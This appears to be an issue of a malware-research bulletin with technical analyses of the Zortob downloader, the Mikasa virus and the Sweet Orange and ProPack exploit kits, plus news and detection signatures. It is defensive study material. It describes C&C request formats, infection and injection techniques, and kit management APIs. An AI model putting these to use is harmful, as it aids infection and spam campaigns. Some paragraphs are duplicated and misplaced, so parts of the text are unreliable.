IN THIS ISSUE

BINARY SCRIPT COMPLEXITIES
We have seen viruses with binary components, viruses with script components, and viruses with binary components that drop script components. Now comes a virus whose binary component executes its script component directly in memory by using a binary interface, instead of dropping the script component first. Peter Ferrie has the details.

page 8

NEW KITS ON THE BLOCK
Blackhole has been the major player in the exploit kit market for a while now, but the Sweet Orange and ProPack kits have recently entered the market and are rapidly gaining in popularity. Aditya Sood and colleagues take a look at advancements in the design of the new kits on the block.

page 11

CODE DISSECTION
In the first part of his shellcoding ARM series Aleksander Czarnowski covered the background and principles of ARM shellcoding. This month he moves on to dissect some previously crafted shellcode.

page 14
YESTERDAY’S SOLUTIONS TO TODAY’S PROBLEMS
Martin Lee, Symantec, UK

The effects of the industrial revolution of the 18th and 19th centuries continue to be felt. Currently, we are experiencing another revolution: the information revolution. The connecting of data and computer systems throughout the world is having a profound effect on the way that we work and live our lives.

The industrial revolution brought many opportunities and benefits, but also certain negative effects that took decades to resolve. The information revolution also brings benefits, but it too has negative sides. However, by examining the past, and looking at how campaigners resolved so many problems, we may draw parallels to how many of our current issues might be addressed.

The cramped living conditions of the newly industrialized cities and poor working conditions had major effects on health. Epidemics afflicted entire communities; employees in certain professions died young, or developed unusual diseases – but few noticed these patterns, or considered why this was the case.

The outbreaks of cholera in London during the mid-19th century resulted in many deaths. Contamination of the water supply by sewage was the source, but many believed that the origin was ‘bad air’ (miasmas). Although this theory was incorrect, there was an awareness that the presence of sewage was linked with the disease1. Mortality data from official commissions illustrating the size of the issue could not be ignored, and political pressure grew until finally the construction of a sewer system was authorized2. Observation, investigation and the desire to change things led to an investment being made in deploying a long-lasting solution to address the cause of the problem.


OCCUPATIONAL HEALTH HazARDS...
PREVALENCE TABLE – JANUARY 2013

<table>
<thead>
<tr>
<th>Malware</th>
<th>Type</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adware-misc</td>
<td>Adware</td>
<td>9.44%</td>
</tr>
<tr>
<td>Autorun</td>
<td>Worm</td>
<td>8.14%</td>
</tr>
<tr>
<td>OneScan</td>
<td>Rogue</td>
<td>7.39%</td>
</tr>
<tr>
<td>Java-Exploit</td>
<td>Exploit</td>
<td>6.06%</td>
</tr>
<tr>
<td>Iframe-Exploit</td>
<td>Exploit</td>
<td>4.86%</td>
</tr>
<tr>
<td>Heuristic/generic</td>
<td>Virus/worm</td>
<td>4.50%</td>
</tr>
<tr>
<td>Conficker/Downadup</td>
<td>Worm</td>
<td>4.39%</td>
</tr>
<tr>
<td>Crypt/Kryptik</td>
<td>Trojan</td>
<td>4.03%</td>
</tr>
<tr>
<td>Heuristic/generic</td>
<td>Trojan</td>
<td>3.95%</td>
</tr>
<tr>
<td>Potentially Unwanted-misc</td>
<td>Trojan</td>
<td>3.79%</td>
</tr>
<tr>
<td>Agent</td>
<td>Trojan</td>
<td>2.97%</td>
</tr>
<tr>
<td>Encrypted/Obluscated</td>
<td>Misc</td>
<td>2.80%</td>
</tr>
<tr>
<td>Sality</td>
<td>Virus</td>
<td>2.73%</td>
</tr>
<tr>
<td>Sirefef</td>
<td>Trojan</td>
<td>2.38%</td>
</tr>
<tr>
<td>Dorkbot</td>
<td>Worm</td>
<td>1.83%</td>
</tr>
<tr>
<td>LNK-Exploit</td>
<td>Exploit</td>
<td>1.68%</td>
</tr>
<tr>
<td>Virut</td>
<td>Virus</td>
<td>1.32%</td>
</tr>
<tr>
<td>Somoto</td>
<td>Adware</td>
<td>1.32%</td>
</tr>
<tr>
<td>Crack/Keygen</td>
<td>PU</td>
<td>1.22%</td>
</tr>
<tr>
<td>Injector</td>
<td>Trojan</td>
<td>1.13%</td>
</tr>
<tr>
<td>BHO/Toolbar-misc</td>
<td>Adware</td>
<td>1.12%</td>
</tr>
<tr>
<td>Exploit-misc</td>
<td>Exploit</td>
<td>1.07%</td>
</tr>
<tr>
<td>Ghost</td>
<td>Trojan</td>
<td>1.06%</td>
</tr>
<tr>
<td>Ramnit</td>
<td>Trojan</td>
<td>1.03%</td>
</tr>
<tr>
<td>Blacole</td>
<td>Exploit</td>
<td>1.02%</td>
</tr>
<tr>
<td>Jeefo</td>
<td>Worm</td>
<td>0.99%</td>
</tr>
<tr>
<td>JS-Redir/Alescurf</td>
<td>Trojan</td>
<td>0.92%</td>
</tr>
<tr>
<td>Heuristic/generic</td>
<td>Misc</td>
<td>0.87%</td>
</tr>
<tr>
<td>Tanatos</td>
<td>Worm</td>
<td>0.85%</td>
</tr>
<tr>
<td>Zbot</td>
<td>Trojan</td>
<td>0.80%</td>
</tr>
<tr>
<td>Zwangi/Zwunzi</td>
<td>Adware</td>
<td>0.78%</td>
</tr>
<tr>
<td>Downloader-misc</td>
<td>Trojan</td>
<td>0.77%</td>
</tr>
<tr>
<td>Others[2]</td>
<td></td>
<td>12.91%</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td></td>
<td>100.00%</td>
</tr>
</tbody>
</table>

[2] Readers are reminded that a complete listing is posted at http://www.virusbtn.com/Prevalence/.

NEWS

AUSTRALIA SIGNS CYBERCRIME TREATY

Australia has become the 39th country to formally sign the Council of Europe’s Convention on Cybercrime. The Australian government passed the Cybercrime Legislation Amendment Act 2012 last year in preparation for signing the treaty, and the country’s authorities will now be able to use powers contained within that Act to work with cybercrime investigators in the other 38 countries that have signed and ratified the treaty.

CYBERSECURITY CENTRE FOR ARAB REGION LAUNCHED

A regional cybersecurity centre for the Arab region has been launched at the headquarters of the Information Technology Authority (ITA) in Oman. Oman’s National Computer Emergency Readiness Team (OCERT) was selected in December to be the regional hub for cybersecurity across 21 countries in the Arab region. It is anticipated that, through its work, the centre will help enhance e-security initiatives and joint capabilities, as well as upgrade emergency response for information security incidents in the region.

The launch of the centre comes just days after the discovery of a $39m ATM heist against one of the leading financial services providers in the Sultanate of Oman, BankMuscat. The breach involved 12 re-loadable pre-paid travel cards that were tied to accounts in the bank. It is believed that the travel cards were duplicated before being used from multiple locations outside the country.

CONVICTED CYBERCRIMINAL HACKS PRISON’S COMPUTER SYSTEMS

It has been revealed that a convicted cybercriminal hacked into a UK prison computer system after participating in an IT class for inmates. 21-year-old Nicholas Webber was sentenced to five years imprisonment in 2011 for running the GhostMarket.Net website, which sold stolen credit card details as well as offering tutorials on how to commit identity theft and online scams. It transpires that while serving his sentence at HMP Isis in South London, Webber enrolled in the prison’s IT course, and that during the course he managed to hack into the prison’s computer systems.

The incident has come to light after the leader of the course – who subsequently lost his job – instigated a claim for unfair dismissal, arguing that it was not his decision to put Webber in his class, and that he was not aware that Webber was a convicted hacker. A spokesperson for the Prison Service asserted that the computer system used in the IT classes was a closed network and that ‘no access to personal information or wider access to the Internet or other prison systems would have been possible.’
THE EVOLUTION OF ZORTOB

Dong Xie
Fortinet, China

It’s about a year since Zortob made its debut, but you’ve probably rarely heard mention of it. One possible reason is that the first generation of Zortob was classified by the AV industry as a common trojan downloader (although it utilized a command and control server to download malware, rather than the more common direct downloading method) – after all, the appearance of yet another trojan downloader is not big news.

In recent months, however, a new generation of Zortob has been hitting our honeypots. While I was attempting to trace its origins, I came across a batch of fake UPS/FedEx emails, each of which contained a malicious link or an attachment that dropped the new generation of Zortob. I decided to take a closer look.

GENERAL VIEW

The new version of Zortob uses dynamic updated servers instead of hard-coded ones: it chooses a server randomly for HTTP requests and its affiliate downloading commands. The RC4 and LZ (RtlCompressBuffer/RtlDecompressBuffer) algorithms are used and, at the time of writing this article, an MD5 algorithm is used to verify the integrity of the downloaded data. Recruiting a spam bot as a means of propagation is another highlight. Table 1 shows the differences between the two generations of Zortob; we will discuss each part in the following sections.

INJECTION STUB

Zortob installers make use of a very fashionable injection mechanism, which I refer to as MVIP (Mapping View Into Process). Usually, MVIP creates a suspended process and maps one or more shared memory views, which contain malicious code, into the virtual address space of a zombie process. It also uses classic ‘PUSH/RET’ assembly code to hijack the entry point of the target process (Figure 1). After that, it wakes up the suspended process. In this sample (MD5: 2544e0e8bb0047146a41272fa5c4c29), Zortob uses svchost.exe as a puppet.

Figure 1: Patched entry point of target process.

<table>
<thead>
<tr>
<th>Injection</th>
<th>Zortob I</th>
<th>Zortob II</th>
</tr>
</thead>
<tbody>
<tr>
<td>MVIP</td>
<td>injects a code block</td>
<td>MVIP, injects a single DLL</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>HTTP Send</th>
<th>Zortob I</th>
<th>Zortob II</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hard-coded server, e.g.</td>
<td><a href="http://bing.com/afyu/index.php?t=gate&amp;id=%8x">http://bing.com/afyu/index.php?t=gate&amp;id=%8x</a></td>
<td>Server is chosen from a dynamic IP pool, e.g.:</td>
</tr>
<tr>
<td>2. <a href="http://IP:Port/%8x/index.php?t=gate&amp;id=%32s&amp;group=n%4drcm&amp;debug=0">http://IP:Port/%8x/index.php?t=gate&amp;id=%32s&amp;group=n%4drcm&amp;debug=0</a></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>C&amp;C</th>
<th>Zortob I</th>
<th>Zortob II</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idle</td>
<td>idl=</td>
<td>Idle</td>
</tr>
<tr>
<td>Run EXE</td>
<td>run=URL</td>
<td>Run EXE</td>
</tr>
<tr>
<td>Update</td>
<td>udp=URL</td>
<td>Update</td>
</tr>
<tr>
<td>Registry Remove</td>
<td>rm=URL</td>
<td>Registry Delete</td>
</tr>
<tr>
<td>Remove</td>
<td>rem=</td>
<td>Remove</td>
</tr>
<tr>
<td>N/A</td>
<td>N/A</td>
<td>Run DLL</td>
</tr>
</tbody>
</table>

Table 1: Differences between the two generations of Zortob.
COMMUNICATION ROUTINE

Zortob obtains the current user’s SID (security identifier) in order to generate an MD5 digest. The digest is converted separately into a 32-byte PostMd5 string and an eight-byte PostKey string (Figure 2). It copies the original to %AppData%\{random string}.exe then creates a text file with the original file name in the current directory and opens it.

The following information is sent to the C&C server using HTTP protocol at each request:

```
http://IP:Port/%.8x/index.php?r=gate&id=%32s&group=%.4drcm
```

- **IP:Port**: IP and port are chosen from the hard-coded hex string (Figure 3) or registry (Figure 5b)
- **%.8x**: PostKey (e.g. DA9B2560)
- **%32s**: PostMd5 (e.g. DA9B25600FDEE33DAEB89DC7EC1210B3)
- **%.4d**: The variant’s creation date and month (e.g. 1311).

Before sending the information, the sub link of `index.php?r=gate&id=%32s&group=%.4drcm` is encrypted using the RC4 algorithm with the PostKey.

The commands from the C&C server and the respective actions taken by Zortob are as follows:

- **Idle**: Sleeps a while before sending the next request to the server.
- **Run EXE**: Downloads malware and executes it.
- **Update**: Downloads an updated version to substitute for %AppData%\{random string\}.exe.
- **Registry Delete**: Finds an entry under HKCU\Software whose value string has a format of ‘For base!!!!!!{Name 1}={random 1};...{Name N}={random N};’ and deletes the matched pattern ‘n1 ={random X};’, where X ranges from 1 to N.
- **Remove**: Removes pertinent entries under the registry, files them under %AppData%\ directory, and exits the process.
- **Run DLL**: Downloads an RC4 and LZ double-encrypted DLL. The decrypted DLL is injected into svchost.exe. If the flag \(^2\) is true and name \(^3\) is non-NULL, the decrypted DLL is encrypted again and saved as %AppData%\{random N+1\}, ‘=\{random N+1\}’ is appended to the entry described at the Registry Delete command.

Zortob backs up an IP pool in the registry, updating the pool approximately every hour. It sends a message to the C&C server with the following format:

```
http://IP:Port/%.8x/index.php?r=gate&id=PostKey
```

Figure 5a shows the decrypted IP and port list downloaded from the remote server. The list will be converted to an IPPool hex string and stored in the registry, as shown in Figure 5b.

SPAM COMPONENT

Like other malware, the spam component (MD5: 7112a2be119c50f2764c505efbce8447) does some initialization

\(^1\) See Table 1: Registry Delete, n=%1024s or n=%1024[^&].
\(^2\) See Table 1: Run DLL, as=%x.
\(^3\) See Table 1: Run DLL, n=%1024s or n=%1024[^&].
work and then prepares to send messages. It gathers local information and stores it with the following structure:

```c
typedef struct _GATHERED_INFO {
    CHAR InfoType[0x32];
    CHAR Reserved[0x32];
    ULONG SizeOfInfo;
    LPCSTR pInfo;
} GATHERED_INFO,*PGATHERED_INFO;
```

The InfoTypes are listed as follows:

- **sid**: a unique identifier created by a random function
- **up**: tick count value
- **wbfl**: flag to point out if mail address list is needed
- **v**: the version of the component itself
- **ping**: total number of times to retrieve given domain’s information
- **guid**: a GUID created by the CoCreateGuid API
- **wv**: Windows version information
- **ms**: total results of sent emails
- **smtx**: total flags of sent emails
- **SFT**: content of F32.txt
- **sr**: set as 0
- **ar**: set as 0

Next, it receives feedback from the C&C server and then locates a boundary string from the feedback. Using the boundary string it finds a name to describe the subsequent feedback data (see Figure 7). Table 2 explains the purpose of the data described by each name.

<table>
<thead>
<tr>
<th>Name</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>CMDEXE</td>
<td>Saves data to %temp%-ie{random 1}.exe and executes. No data observed.</td>
</tr>
<tr>
<td>UPDATE</td>
<td>Saves data to %temp%-ie{random 2}.exe and executes. No data observed.</td>
</tr>
<tr>
<td>COMMON</td>
<td>Encrypted data, includes spam template.</td>
</tr>
</tbody>
</table>

Table 2: Description of the data.

The data described by ‘COMMON’ can be structured using the following tags:
• <v>: feedback version
• <ss>: updated server list
• <selfip>: current server’s address or local IP address
• <rDnsPTR>: backup domains for SMTP HELO command
• <ml>: list of mail addresses
• <smtprules>: resending rules when prior sending failed
• <bcc>: number of addresses in BCC field
• <mbody>: spam template
• <from>: sender’s email address
• <subject>: mail subject
• <name>: sender’s name
• <surname>: sender’s surname
• <login>: login names list
• <domain>: domain names list
• <wid>: identifies compromised machine by server

typedef struct _BCC {
    struct _BCC* Next;
    struct _SPAM_RECORD* pBccRecord;
} BCC, *PBCC;

typedef struct _SPAM_RECORD{
    struct _SPAM_RECORD* Next;
    struct _SPAM_RECORD* pBcc2Main;
    PBCC pBccChain;
    ULONG Index;
    ULONG Flag;
    CHAR ReceiverAddr[0x78];
    CHAR SenderAddr[0x78];
    CHAR* pTemplate;
    ULONG SizeOfTemplate;
}SPAM_RECORD, *PSPAM_RECORD;

It further structures each address included in the <ml> tag and groups the mail addresses by the given number of the <bcc> tag. That is, if the BCC number is N, and the total number of mail addresses is M, the number of groups is M/(N+1), and the structure is as follows:

typedef struct _BCC {
    struct _BCC* Next;
    struct _SPAM_RECORD* pBccRecord;
}BCC, *PBCC;

Figure 8: Part of the decrypted COMMON data.

It walks through the SPAM_RECORD chain. If the record’s flag is zero and pBcc2Main is NULL, the record will be used to send spam. It chooses random values from tags or the ARGUES structure to fill the following variables in the template:

• %%DATE%%
• %%MSGID%%
• %%RCPT%%
• %%HPLOGIN%%
• %%N%%
• %%S%%
• %%US%%
• %%LS%%
• %%MIXS%%
• %%HEX%%
• %%FROM%%
• %%BND%%
• %%CID%%
• %%NAME%%
• %%SURNAME%%
• %%LOGIN%%
• %%DOMAIN%%
• %%FROMDOMAIN%%
• %%SUBJ%%

Figure 9: Mail addresses grouped by BCC number.
We have seen viruses with binary components, and viruses with script components, and viruses with binary components that drop script components. Now comes W32/Mikasa, a virus whose binary component executes its script component directly in memory by using a binary interface, instead of dropping the script component first.

**RANDAMN**

The first-generation code begins by constructing an initial 128-bit key for RC4 by calling the GetTickCount() API four times in a row, with no delay between each call. This is a poor way to seed a random-number generator, as any reasonably modern machine will return the same value each time. Also, depending on for how long the system has been running, the top few bits of the returned value might be zero.

The first-generation code uses the RC4 key-scheduling algorithm which, while correct, is very strange. Since the key is 16 bytes in length, a simple AND operation can be used to index the key array. Instead, the first-generation code uses a divide operation and extracts the remainder to use as the index. This may have been done to allow the key length to be changed without needing to change any of the code.

The random generation algorithm is also very strange, in the sense of being a very inefficient implementation. The same values are fetched multiple times instead of caching the results in registers. Perhaps someone was in a rush while writing the code. Fortunately for the virus writer, since this is all part of the dropper code, it doesn’t matter how slow it is, but it is unusual to see both loose and tight code in the same module.

The random generation algorithm is also very strange, in the sense of being a very inefficient implementation. The same values are fetched multiple times instead of caching the results in registers. Perhaps someone was in a rush while writing the code. Fortunately for the virus writer, since this is all part of the dropper code, it doesn’t matter how slow it is, but it is unusual to see both loose and tight code in the same module.

The first-generation code encrypts its body and converts the encrypted body and the RC4 key to a textual representation of decimal values. The decimal values are placed in respective arrays, and then a script is appended which will perform the decryption and re-encryption of the body. It is not known why the first generation even encrypts the body (that is, it could use a shorter and constant key), since the encrypted copy is never used. The virus will re-encrypt itself first and place that copy in infected files.

**MIRROR MIRROR**

The script itself is interesting. It uses a nice reflection trick to avoid having to carry a copy of its own source code: it
declares a single function that holds the entire script. All the script needs to do to access its own source is to refer to the function by name. The reference will cause the script source to be returned, and the source can be assigned to a variable and manipulated at will. The script implements RC4 but it seems to contain a typographical error, resulting in a key length of only 120 bits instead of the expected 128 bits.

The first-generation code converts the script to Unicode and saves it for later. The first-generation code also modifies two variables in the virus body using a constant. It is not known why the constants weren’t used in the first place. Finally, the first-generation code pushes the original entry point onto the stack, and then the dropper code is reached.

The dropper registers a Structured Exception Handler in order to intercept any errors that occur during infection. The dropper retrieves the base address of kernel32.dll. It does this by walking the InMemoryOrderModuleList from the PEB_LDR_DATA structure in the Process Environment Block. The address of kernel32.dll is always the second entry in the list. The dropper assumes that the entry is valid and that a PE header is present there. This is fine, though, because of the Structured Exception Handler that the dropper has registered.

STACKING THE DECK

The dropper resolves the addresses of the API functions that it requires: find, set attributes, open, map, unmap, close, malloc, free, write and LoadLibrary. The dropper uses hashes instead of names and uses a reverse polynomial to calculate the hash. Since the hashes are sorted alphabetically according to the strings they represent, the export table needs to be parsed only once for all of the APIs. Each API address is placed on the stack for easy access, but because stacks move downwards in memory, the addresses end up in reverse order in memory. The hash table is terminated with a single byte whose value is zero. While this saves three bytes of data, it also prevents the use of any API whose hash ends with that value. This is obviously not a problem for the virus in its current form, since none of the needed APIs have such a value, but it could cause some surprises for any virus writer who tries to extend the code.

The dropper allocates some memory for the file header of the dropped file, and then unpacks the header using a value-offset pair. Since the header will be written to a buffer that is known to contain all zeroes, there is no need to store the zeroes again. Instead, the dropper specifies the offsets of only the non-zero bytes, and the value of each of those non-zero bytes. The header is constant, and contains only one section. The section characteristics specify that the section is writable and executable. Even though the section does not have the readable flag set, it is still readable because the writable flag is set. The virus code is appended to the header, and the code is marked as ‘dropped’, which changes the code path that is executed later. The file is created using the name ‘hh86.exe’, a reference to the virus author.

The file creation method is also interesting. Instead of using the traditional GENERIC_READ and GENERIC_WRITE flags, which, as the names imply, are used to cover any object type, and which are used by probably just about everyone else, the dropper uses the file-specific flags instead: FILE_READ_DATA and FILE_WRITE_DATA. These flags have much smaller values than the GENERIC equivalents, allowing the virus writer to save several bytes of code. It also obscures to a slight degree the requested access rights, for those people who are unfamiliar with the file-specific flags.

After the content is written, the dropped file is closed and then executed. The dropper stage ends by freeing the allocated memory, and then forces an exception to occur. The exception will be intercepted by the exception handler, which will unregister itself and then transfer control to the host. This technique appears a number of times in the code and is an elegant way to reduce the code size, in addition to functioning as an effective anti-debugging method.

WORKING FROM A SCRIPT

The virus begins by saving the process image base on the stack, and then adding the original entry point RVA to that value. This makes the virus compatible with Address Space Layout Randomization. However, there is a bug in this behaviour (detailed below), regarding the value of the entry point RVA that is used. From here, the virus behaves like the dropper up to the point where the kernel32 API resolution is complete. At that point, the virus loads ole32.dll, and resolves the CoCreateInstance(), CoInitialize() and CoUninitialize() API addresses. The virus initializes the ScriptControl object as in-proc server, and queries the interface for the entry point of the IScriptControl object. The virus sets the scripting language to ‘JScript’, and then runs the script to produce the decrypted body and a new encrypted copy. The results from the script are returned to the virus as a BSTR object.

At no time is the script written to disk, thus it would evade traditional script-scanning technologies. However, any script scanner that hooks into the scripting interface itself (for example, by replacing the name of the scripting DLL in the registry with the script-scanning DLL, and exposing the identical interface) would have a chance to examine the script before it executes.
The virus registers another Structured Exception Handler, decodes the BSTR object to executable code and then executes it. The decoder is another strange routine – there are simpler ways to do it, but this one works well enough for the purpose.

**SEEK AND DESTROY**

The virus searches for all objects in the current directory (only). Yet more strangeness exists here, in that the virus writer has reverted to ANSI APIs for file handling. The result is that some files cannot be opened because of the characters in their names, and thus cannot be infected. However, the virus does attempt to remove the read-only attribute from whatever is found. It attempts to open the found object and map a view of it. If the object is a directory, then this action will fail and the map pointer will be null. Any attempt to inspect such an object will cause an exception to occur, which the virus will intercept. If the map can be created, then the virus will inspect the file for its ability to be infected.

The virus is interested in Portable Executable files for the Intel x86 platform that are not DLLs or system files. The check for system files could serve as a light inoculation method, since Windows ignores this flag. The virus checks the COFF magic number, which is unusual, but correct. The reason for checking the value of the COFF magic number is to be sure that the file is a 32-bit image. This is the safest way to determine that fact because, apart from the IMAGE_FILE_EXECUTABLE_IMAGE and IMAGE_FILE_DLL flags in the Characteristics field, all of the other flags are ignored by Windows. This includes the flag (IMAGE_FILE_32BIT_MACHINE) that specifies that the file is for 32-bit systems. As an added precaution, the virus checks for the size of the optional header being the standard value. The virus also requires that the file has no Load Configuration Table, because the table includes the SafeSEH structures, which will prevent it from using arbitrary exceptions to transfer control to other locations within its body. The last two checks that the virus performs are that the file targets the GUI subsystem, and that it has a Base Relocation Table which begins at exactly the start of the last section, and which is at least as large as the virus body.

The virus registers another Structured Exception Handler, decodes the BSTR object to executable code and then executes it. The decoder is another strange routine – there are simpler ways to do it, but this one works well enough for the purpose.

**CONCLUSION**

The technique of executing a script component from within a binary component introduces a complication for anti-malware engines, where the respective scanning engines are generally completely distinct. One way to tackle the problem could be to treat the binary component in a manner similar to an HTML page which holds the script. However, there is the added complexity in the binary case of potentially needing to emulate the code in the binary component first, in order to expose the script. We live in interesting times.
WHAT ARE BROWSER EXPLOIT KITS UP TO? A LOOK INTO SWEET ORANGE AND PROPACK

Aditya K. Sood, Richard J. Enbody
Michigan State University, USA

Rohit Bansal
Independent Security Researcher, USA

At the VB2011 conference, our team discussed the techniques used by the Blackhole and Phoenix browser exploit packs (BEPs) [1] to spread malware. Blackhole has become a major player in the world of BEPs, but it is not the only one in demand. Sweet Orange and ProPack have recently entered the market, and both are gaining popularity. A simple traffic analysis of Sweet Orange can be found in [2]. In an earlier study [3] we discussed the details of the exploit distribution mechanism in BEPs. In this paper, we look at advancements in the design of BEPs, specifically Sweet Orange (SO) and ProPack.

SWEET ORANGE

iframe cryptor service

Today’s BEPs provide automated iframe obfuscating services for use in web injections. The iframes are injected into high-traffic-volume websites and force the users of the websites to visit end points that serve exploits carrying malware. The SO BEP framework includes an iframe cryptor service for obfuscating iframes. This extends the capability of SO to obfuscate and inject the iframe at the same time, meaning that the attacker does not have to buy obfuscation services from a third-party provider. (Basically, it is a crimeware service embedded in the automated exploitation framework.) It also enables the owners of SO to charge more per licence.

We analysed this functionality in SO to understand exactly how the iframe obfuscation patterns are generated. This is important because an understanding of iframe obfuscation will help analysts to dissect the attacks more easily. We simply used the payload ‘<script>alert(1);</script>’ and obfuscated it using the SO iframe cryptor service. Figure 1 shows the output of this service.

The generated obfuscated code adds some '%' characters into a given JavaScript call and declares it as a value to A12836177. Later on, a JavaScript replace call is used to change all the '%' characters to null (''). An additional function is generated, called gd. Then, the code is mixed up with random JavaScript calls to increase its complexity.

Figure 1: The Sweet Orange iframe cryptor in action.

This is a simple example of how SO builds the obfuscated iframes inside the framework.

Domain verification system

SO implements a centralized domain management system. It makes extensive use of domain management APIs for easy operational and functional tasks. The BEP has a built-in domain-scanning engine (Scan4You) which provides information about the state of running and
blacklisted domains — it scans the websites that are injected with malicious iframes.

The user can configure the domain-scanning service with username, password and API token. This information is entered in the SO panel (see Figure 2) and once it has been provided a scheduler service is set up that runs scans after a couple of minutes. This process is deployed for active domain verification so that the attacker can perform alter operations if a domain is flagged.

Scan4You [4] is an anonymous service that scans malware against multiple anti-malware products and checks domains against a number of domain blacklists — and crucially, does not report the results back to the anti-malware/blacklist developers. The service is updated periodically to include newer versions of anti-virus software and blacklists. It can thus determine whether the domain hosting SO has been blacklisted or not, and which anti-virus engines can detect the malicious binary. Table 1 shows the list of anti-virus engines and blacklists supported by the service.

As a security measure, the domain scanning function can easily be disabled (see Figure 3). This disrupts the flow of outgoing traffic from the domain hosting the SO panel and allows it to generate a new link (URL) if the previous one has been marked as malicious. No traffic that points to the old link is accepted, and such traffic is discarded by the server running SO.

The domain management API is implemented using the HTTP protocol, which provides easy control over the network simply by sending HTTP requests to fetch the data. Table 2 shows the primary API calls used to gather data from the infected domains.

Based on the information presented in Table 2, an IDS signature can be crafted using the primary command which generates heavy traffic.

Table 1: Scan4You: list of supported AV and blacklists.

<table>
<thead>
<tr>
<th>Supported anti-virus</th>
<th>Supported blacklists</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kaspersky, Solo, McAfee,</td>
<td>ZeuS domain blocklist,</td>
</tr>
<tr>
<td>Bit Defender, Panda, F-Prot,</td>
<td>ZeuS IP blocklist, ZeuS</td>
</tr>
<tr>
<td>Avast!, Virus Blok Ada,</td>
<td>Tracker, Malware Domain</td>
</tr>
<tr>
<td>Clam AV, Vexira, Norton,</td>
<td>List (MDL), Google Safe Browsing (Firefox),</td>
</tr>
<tr>
<td>Dr Web, AVG, ESET</td>
<td>Phish Tank (Opera, WOT, Yahoo! Mail),</td>
</tr>
<tr>
<td>NOD32, G DATA, Quick</td>
<td>hp Hosts, SPAMHAUS SBL, SPAMHAUS PBL,</td>
</tr>
<tr>
<td>Heal, A-Squared, IKARUS,</td>
<td>SPAMHAUS XBL, Malware</td>
</tr>
<tr>
<td>Micro Security Essentials</td>
<td>Url, Smart Screen (IE7/IE8 malware &amp; phishing website),</td>
</tr>
<tr>
<td>Antivirus (Avira), Sophos,</td>
<td>Norton Safe Web, Panda</td>
</tr>
<tr>
<td>NANO, ArcaVir, COMODO,</td>
<td>Antivirus 2010, (Firefox Phishing and Malware Protection),</td>
</tr>
<tr>
<td>V3 Internet Security, Bull</td>
<td>Guard, VIPRE, Zoner</td>
</tr>
<tr>
<td>AntiVirus, K7 Ultimate.</td>
<td></td>
</tr>
</tbody>
</table>

Table 2: Domain management APIs used in Sweet Orange.

<table>
<thead>
<tr>
<th>Function</th>
<th>API and HTTP request</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET current domains</td>
<td>http://[infected IP]/aw/scrt/dmngr.php?key=[value]&amp;a=get_domains</td>
</tr>
<tr>
<td>GET AV scan status</td>
<td>http://[infected IP]/aw/scrt/dmngr.php?key=[value]&amp;a=get_domains_av_status</td>
</tr>
<tr>
<td>GET AV scan status (JSON)</td>
<td>http://[infected IP]/aw/scrt/dmngr.php?key=[value]&amp;a=get_domains_av_status&amp;json=1</td>
</tr>
<tr>
<td>SET domains</td>
<td>http://[infected IP]/aw/scrt/dmngr.php?key=[value]&amp;a=set_domains&amp;domains=domain1, domain2, domain3</td>
</tr>
</tbody>
</table>
Figure 4 shows that the maximum traffic limit implemented in SO is 150,000 unique hits.

**Advancements in performance**

During our analysis, we have noticed a few improvements in SO’s request processing mechanism to make the exploitation process faster. This is done to achieve high performance and optimization.

**PROPACK**

**Batch mode execution**

The ProPack BEP implements a buffer-based technique to manage incoming connections. The buffer holds information about the victim’s machine including what plug-ins are present, the OS version, IP address, etc. When connection attempts are received from target machines, the exploit-serving component initiates a buffer which is used to queue the requests. In other words, ProPack executes batch processing in which all the connection attempts are treated as jobs that are required to be completed without manual intervention. This means that all the specific data is selected earlier and pushed into the exploit-serving component depending on the information extracted from the user’s machine. In addition to this, the threading is done efficiently. With proper threading and batch processing, multiple requests can be served at the same time and every thread is shipped with a different executable that is obfuscated differently. This approach also helps to deploy server-side polymorphism, in which

```
alert tcp $HOME_NET 1024: -> $EXTERNAL_NET $HTTP_PORTS (msg:"Propack Exploit Detection"; flow:established,from_client; flowbits:set,Propack; flowbits:noalert; content:"GET"; http_method; content:"GET"; http_method; content:”.php?j=1”;
  http_uri;
  content:”|26|k=”;
  within:3;
  content:” HTTP/1.1|0d 0a|”;
  within:15;
  content:”|0d 0a|Cookie|3a| ”;
  http_header;
  pcre:”/\b.php\b|1k=#{12345}/U”;
  reference:url,[ ]; classtype:Exploit; sid:XXXXXXX; rev:1; )

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET 1024: (msg:"Propack Malware Binary Successfully Loaded "; flow:established,from_server;
flowbits:isset,Propack;
content:"Content-Disposition: attachment|3b| filename=";
offset:50;
depth:400;
content:"MZ";
distance:0;
content: “PE|00 00|”;
within:250;
reference:url,[ ]; classtype:Exploit; sid:XXXXXXX; rev:1; )
```

*Listing 1: ProPack detection signatures.*
executable files are generated randomly with different signatures.

Post processing – traffic analysis

ProPack uses the Sypex geo-location library to fingerprint the origin of requests by analysing the IP address of the client. Blackhole uses the MaxMind geo library for processing traffic information based on the IP address. Newer exploit packs are shifting away from using MaxMind to using Sypex because of advantages of the latter such as high speed and low memory consumption. Sypex can easily be integrated with a batch processing routine by implementing caching in memory which increases speed significantly. As Sypex is written in PHP, it can easily be plugged in with the BEP components. Sypex uses binary mode to implement storage structures, avoiding JSON and XML, which consume a lot of processing time. In binary mode, the storage data can easily be differentiated by placing null characters at the end. In order to search for information about IP addresses in the database files, Sypex reads a definite chunk of data from the hard disk, thereby avoiding random searching. For this, Sypex implements a search index using the first byte of the IP address. The idea is to traverse less data to find the requisite information and increase the speed. Following our analysis of ProPack traffic, Listing 1 shows possible network signatures that can be used to detect the ProPack exploit kit.

CONCLUSION

In this paper, we have explored some of the basic design advancements in the Sweet Orange and ProPack exploit packs. Understanding the design of these exploit kits allows analysts to dig deeper into the new methods used by these exploit kits to infect systems. We can expect further developments in these exploit packs in the near future.

REFERENCES


Table 1: Trampoline code.

One might wonder why, besides the pointer to the shellcode data section, we need the first JMP instruction. The reason is bad bytes. Consider the following code:

```
CALL $+4
POP ECX
```

The call instruction will be assembled as:

```
E8 00000000
```

